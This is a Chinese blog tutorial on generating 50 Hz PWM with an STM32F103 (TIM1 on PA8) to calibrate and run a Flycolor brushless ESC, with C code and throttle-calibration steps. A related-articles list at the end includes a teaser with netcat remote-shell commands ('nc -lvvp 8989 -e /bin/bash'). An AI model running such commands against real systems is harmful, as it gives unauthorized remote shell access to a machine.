STM32:利用PWM波控制飞盈电调过程和注意事项

news2024/10/7 0:10:46

STM32:利用PWM波控制电调过程和注意事项

在进行模型控制的过程中,如四旋翼无人机等,需要用到电机,这些电机需要通过电调来控制电机的转速。在电调模块中带有的说明书一般都是利用遥控器进行控制,有些情况需要自己通过信号控制电调,而非遥控器,这个时候需要用到单片机生成PWM波。

总体思路

电调的型号和种类繁多,但是大部分的原理应该相同,这里面采用FLYCOLOR家的多旋翼无刷电子调速器进行实验,单片机选择的是正点原子的stm32 MINI 开发版,芯片信号为stm32f103rct6。

为了快速控制电调,首先需要一个生成PWM波形的程序,这里面采用的是正点原子中的例程。

例程中的程序是利用TIMER1 定时器生成PWM波来控制指示灯DS0的亮暗过程,首先下载程序可以看出指示灯在逐渐亮灭。因为采用的PA8作为IO口的输出,电调的控制信号可以接在此端口上。这样就有了一个可以生成PWM波形的程序。

1. 电调说明注意事项

看电调的说明书,说明书中会有参数和连接方式等介绍,这些需要注意一下,重点看的是工作过程提示音,

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
这个图是在进行油门校准和正常工作的过程通过提示音判断每个过程是否成功,在实际使用的时候具有很好的提示作用。

注意以下问题:

  1. 在电调上电的过程中会有整成工作过的提示音。
  2. 在进行油门校准的过程中,如果输出上电的油门处于大油门,那么将会进行大油门的量程设定,然后在听到提示音过后,需要进行小油门的设定,最终听到油门校准成功的设定之后,就可以正常使用了。
  3. 如果上电开始时处于最小油门,则不需要设定,直接就能工作。

2. STM32生成PWM波注意事项

在了解了油门校准的过程后,那么如果对应成PWM波形的控制,注意以下几点:

  1. 在控制电调的过程中,PWM的频率50Hz,即20ms,占空比越高,转速越快,占空比的范围为0.8ms-2.2ms。
  2. 在进行校准的过程中,需要对占空比的波形进行延时,先校准大油门,再校准小油门,保证听到校准成功的提示音听到再进行下一步,在两个油门校准的过程中留好时间。

3. 程序代码

接下来是程序代码:
pwm.c文件

#include "pwm.h"
#include "led.h"
//	 

// PWM 输出初始化
// arr 自动重装值 psc 时钟预分频数
void TIM1_PWM_Init(u16 arr,u16 psc)
{  
	 GPIO_InitTypeDef GPIO_InitStructure;
	TIM_TimeBaseInitTypeDef  TIM_TimeBaseStructure;
	TIM_OCInitTypeDef  TIM_OCInitStructure;

	RCC_APB2PeriphClockCmd(RCC_APB2Periph_TIM1, ENABLE);// 
 	RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA , ENABLE);  //
	                                                                     	

   //引脚复用,PA8输出TIM1_CH1波形
	GPIO_InitStructure.GPIO_Pin = GPIO_Pin_8; //TIM_CH1
	GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF_PP;  //推挽输出
	GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz;
	GPIO_Init(GPIOA, &GPIO_InitStructure);

	
	TIM_TimeBaseStructure.TIM_Period = arr; //
	TIM_TimeBaseStructure.TIM_Prescaler =psc; //
	TIM_TimeBaseStructure.TIM_ClockDivision = 0; //Tck_tim
	TIM_TimeBaseStructure.TIM_CounterMode = TIM_CounterMode_Up;  
	TIM_TimeBaseInit(TIM1, &TIM_TimeBaseStructure); //

 
	TIM_OCInitStructure.TIM_OCMode = TIM_OCMode_PWM1; // 这个模式需要选择PWM1 模式
	TIM_OCInitStructure.TIM_OutputState = TIM_OutputState_Enable; //
	TIM_OCInitStructure.TIM_Pulse = 0; //
	TIM_OCInitStructure.TIM_OCPolarity = TIM_OCPolarity_High; //
	TIM_OC1Init(TIM1, &TIM_OCInitStructure);  //

  TIM_CtrlPWMOutputs(TIM1,ENABLE);		

	TIM_OC1PreloadConfig(TIM1, TIM_OCPreload_Enable);  //	 
	
	TIM_ARRPreloadConfig(TIM1, ENABLE); //
	
	TIM_Cmd(TIM1, ENABLE);  //
 
   
}

main.c

#include "led.h"
#include "delay.h"
#include "sys.h"
#include "pwm.h"
//ALIENTEK Mini STM32¿ª·¢°å·¶Àý´úÂë8
//PWMÊä³öʵÑé   
//¼¼ÊõÖ§³Ö£ºwww.openedv.com
//¹ãÖÝÊÐÐÇÒíµç×ӿƼ¼ÓÐÏÞ¹«Ë¾

 int main(void)
 {	
	u16 led0pwmval=2900;    
	u8 dir=1;	
	delay_init();	    	 //  
	//LED_Init();		  	//
	TIM1_PWM_Init(57599,25);//=72000/(57599+1)/25=50hz 50Hz
	TIM_SetCompare1(TIM1,5760);	 
	TIM_SetCompare1(TIM1,5760);	
	delay_ms(1500);   // 
	delay_ms(1500);
	 	delay_ms(1500);
	 	delay_ms(1500);
	 	delay_ms(1500);
	 	delay_ms(1500);
	 	delay_ms(1500);
	 	delay_ms(1500);
	 	delay_ms(1500);
	 TIM_SetCompare1(TIM1,2880);	 // 
	 TIM_SetCompare1(TIM1,2880);
	 delay_ms(1500);
	 delay_ms(1500);
	 delay_ms(1500);
	 delay_ms(1500);
	 delay_ms(1500);
	 delay_ms(1500);
	 delay_ms(1500);
	 delay_ms(1500);
	 delay_ms(1500);
	 delay_ms(1500);
	 delay_ms(1500);

	delay_ms(1500);
//	TIM_SetCompare1(TIM1,2900);
   	while(1)
	{
// 		delay_ms(1000);	 
		if(dir)led0pwmval++;
		else led0pwmval--;	 
 		if(led0pwmval>5760)
		{
			dir=0;
			led0pwmval = 2900;
		}
		if(led0pwmval==2900)dir=1;	   					 
		TIM_SetCompare1(TIM1,led0pwmval);	   
	} 
}

注意代码中的输出PWM1模式,然后占空比的大小为led0pwmval/57600,设定中间添加延时,先可以时间长一点,然后根据校准需要的时间进行调整。

4. 波形验证

按照上述惭怍,这样就可以产生所需要的PWM波形。

在这里插入图片描述
校准大占空比,即大油门波形。
在这里插入图片描述
设定小占空比,即小油门波形。

最后连接上电调,既可以工作,可以看到校准完油门之后,根据程序转速在逐渐变化。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/499584.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【自然语言处理】【大模型】CodeGeeX:用于代码生成的多语言预训练模型

CodeGeeX:用于代码生成的多语言预训练模型 《CodeGeeX: A Pre-Trained Model for Code Generation with Multilingual Evaluations on HumanEval-X》 论文地址:https://arxiv.org/pdf/2303.17568.pdf 相关博客 【自然语言处理】【大模型】CodeGeeX&#…

二叉排序树

二叉排序树 文章目录 二叉排序树创建遍历删除完整代码 假如给你一个数列 (7, 3, 10, 12, 5, 1, 9),要求能够高效的完成对数据的查询和添加。 使用数组 数组未排序: 优点:直接在数组尾添加,速度快。 缺点:查找速度慢. 数…

[图形学] 射线和线段之间的最小距离

1 说在前面 本文的主要内容来自于Unity引擎中Spline功能的一个函数,一开始我难以理解这几个向量运算的作用和几何意义,经过一番思考后总结如下: 该段代码实际上更像是两个直线之间寻找最短距离,然后判断该距离对应的点在其中一条…

STM32利用USB的HID与QT上位机通信

之前使用kingst的逻辑分析仪,打开上位机软件,插上带usb的硬件就可以通信,也不需要打开串口什么的,感觉很方便,于是借用一个周末研究下这个技术。本文主要是用于记录自己学习的过程,顺便分享下学习感悟。 首…

大数据周会-本周学习内容总结012

开会时间:2023.05.07 16:00 线下会议 目录 01【es数据同步至mysql】 1.1【在es中插入数据后能够同步到mysql中】 1.2【修改与删除es中的数据】 02【nifi】 2.1【Nifi的单机及分布式集群部署】 2.2【nifi集群,getFile简单使用nifi】 2.3【nifi使用…

如何利用Requestly提升前端开发与测试的效率,让你事半功倍?

痛点 前端测试 在进行前端页面开发或者测试的时候,我们会遇到这一类场景: 在开发阶段,前端想通过调用真实的接口返回响应在开发或者生产阶段需要验证前端页面的一些 异常场景 或者 临界值 时在测试阶段,想直接通过修改接口响应来…

Nuvoton NK-980IOT开发板 u-boot 编译

前言 最近搭建了 Nuvoton NK-980IOT开发板 的开发编译环境,记录一下 u-boot 的 编译流程 Nuvoton NK-980IOT开发板 资源还是比较的丰富的,可以用于 嵌入式Linux 或者 RT-Thread 的学习开发 开发板上电比较的容易,两根 USB 线即可&#xff0…

进程与线程(二)

进程同步、进程互斥 同步亦称直接制约关系,是指为完成某种任务而建立的两个或多个进程,这些进程因为需要在某些位置上协调它们的工作次序而产生的制约关系。进程间的直接制约关系就是源于他们之间的相互合作。 操作系统要提供“进程同步机制”来解决异…

Oracle的学习心得和知识总结(二十四)|Oracle数据库DBMS程序包解密方法及SQL Developer和Unwrapper的安装与使用

目录结构 注:提前言明 本文借鉴了以下博主、书籍或网站的内容,其列表如下: 1、参考书籍:《Oracle Database SQL Language Reference》 2、参考书籍:《PostgreSQL中文手册》 3、EDB Postgres Advanced Server User Gui…

android 隐藏底部虚拟按键

方法一 滑动屏幕 可重新显示出来 protected void hideBottomUIMenu() { //隐藏虚拟按键&#xff0c;并且全屏 if (Build.VERSION.SDK_INT <11 && Build.VERSION.SDK_INT < 19) { // lower api View v this.getWindow().getDecorView(); v.setSyst…

大众软件组织人事地震:传董事会被裁,5000人的CARIAD何去何从?

作者 | 德新 编辑 | 王博 外媒Business Insider近日爆出一则重磅消息&#xff1a;大众汽车集团CEO Oliver Blume&#xff08;奥博穆&#xff09;有意裁掉旗下软件组织CARIAD的整个董事会。其影响的高层包括&#xff0c;CARIAD CEO Dirk Hilgenberg、CTO Lynn Longo&#xff0c;…

influxdb时序型数据库基础

文章目录 什么是InfluxDB时序数据特点常见应该场景时序数据库解决什么问题InfluxDB的优势InfluxDB常用命令 什么是InfluxDB InfluxDB是一个开源的、高性能的时序型数据库&#xff0c;在时序型数据库DB-Engines Ranking上排名第一。 在介绍InfluxDB之前&#xff0c;先来介绍下…

机器学习随记(5)—决策树

手搓决策树&#xff1a;用决策树将其应用于分类蘑菇是可食用还是有毒的任务 温馨提示&#xff1a;下面为不完全代码&#xff0c;只是每个步骤代码的实现&#xff0c;需要完整跑通代码的同学不建议花时间看&#xff1b;适合了解决策树各个流程及代码实现的同学复习使用。 1 数据…

MySQL锁机制

目录 表级锁&行级锁 排他锁&共享锁 InnoDB行级锁 行级锁&#xff08;record lock&#xff09;&#xff1a; 间隙锁&#xff08;gap lock&#xff09;&#xff1a; 意向锁 InnoDB表级锁 MVCC&#xff08;多版本并发控制&#xff09; 已提交读的MVCC&#xff1a…

Linux下的shell

NC反向shell 1、查看shell类型 echo $SHELLchsh -s 需要修改shell的类型cat /etc/shells 查看存在哪些shell 然后反弹对应的shell&#xff08;正向连接&#xff09; //被控制端 nc -lvvp 8989 -e /bin/bash //控制端 nc 192.168.222.146(被控端ip) 8989 2、没有-e参数反…

css链接悬停时滑动的下划线效果

要创建链接悬停时滑动的下划线效果&#xff0c;可以向锚点标记添加伪元素&#xff0c;并使用 CSS 过渡动画来显示它。 先看效果&#xff1a; 在提供的代码中&#xff0c;a::after 选择器创建了一个伪元素&#xff0c;该伪元素位于 a 标记后面。该伪元素具有绿色背景颜色和 1…

KVM 架构和部署

建议使用centos和ubuntu 系统做实验&#xff0c;rocky 系列有些不太支持 宿主机环境准备 KVM需要宿主机CPU必须支持虚拟化功能&#xff0c;因此如果是在vmware workstation上使用虚拟机做宿主机&#xff0c;那么必须要在虚拟机配置界面的处理器选项中开启虚拟机化功能。 验证…

【AI选股】如何通过python调用通达信-小达实现AI选股(量化又多了一个选股工具)

文章目录 前言一、通达信-小达是什么&#xff1f;二、使用步骤1. 引入browser_cookie3库2. 通达信-小达 AI选股源代码 总结 前言 ChatGPT火遍网络&#xff0c;那么有没有可以不用写公式就可以实现AI选股的方法&#xff1f;答案是有&#xff0c;今天我们就来试试通达信的小达&a…

软件测试面试常见问题【含答案】

一、面试技巧题(主观题) 序号面试题1怎么能在技术没有那么合格的前提下给面试官留个好印象&#xff1f;2面试时&#xff0c;如何巧妙地避开不会的问题&#xff1f;面试遇到自己不会的问题如何机智的接话&#xff0c;化被动为主动&#xff1f;3对于了解程度的技能&#xff0c;被…

鸿蒙学习总结

控件 button 源码所在路径&#xff0c;小编也只是猜测&#xff0c;还没搞懂鸿蒙上层app到底层的玩法&#xff0c;网上也没相关资料&#xff0c;找源码真是费劲(不是简单的下载个源码的压缩包&#xff0c;而是找到里面的控件比如Button&#xff0c;或者UIAbility实现的源码&…